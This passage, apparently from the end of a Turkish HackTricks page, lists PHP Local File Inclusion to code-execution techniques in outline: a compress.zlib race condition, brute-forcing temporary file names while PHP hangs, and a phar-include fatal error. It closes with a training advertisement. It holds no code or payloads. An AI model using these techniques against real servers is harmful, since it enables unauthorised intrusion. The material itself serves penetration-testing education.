Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu exfiltrate edebiliyorsanız AMA sunucu, dahil edilecek dosyanın PHP işaretlerine sahip olup olmadığını kontrol ediyorsa, bu kontrolü bu Race Condition ile atlatmayı deneyebilirsiniz:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce ile

Eğer LFI'yi upload temporary files için kötüye kullanabiliyor ve sunucunun PHP yürütmesini hang edecek şekilde yapabiliyorsanız, geçici dosyayı bulmak için saatlerce dosya isimlerini bruteforce edebilirsiniz:

LFI2RCE via Eternal waiting

To Fatal Error

Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini include ederseniz. (Bu hatayı tetiklemek için aynı dosyayı 2 kez include etmeniz gerekiyor).

Bunun nasıl faydalı olduğunu bilmiyorum ama işe yarayabilir.
PHP Fatal Error'a sebep olsanız bile, yüklenen PHP geçici dosyaları silinir.

Kaynaklar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin